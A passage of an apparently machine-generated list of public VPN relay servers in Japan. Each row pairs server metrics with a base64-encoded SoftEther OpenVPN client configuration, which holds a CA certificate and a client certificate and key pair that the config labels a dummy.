UhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn475858293,153.206.36.124,746119,4,238865835,Japan,JP,13,95540195,1293977,42127696264547,2weeks,DESKTOP-3LA09S2's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxNTMuMjA2LjM2LjEyNCAxNTEyDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +vpn503186388,126.88.211.239,745362,6,399564688,Japan,JP,19,67844195,54937,7333690588068,2weeks,ProMini400G9-13's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc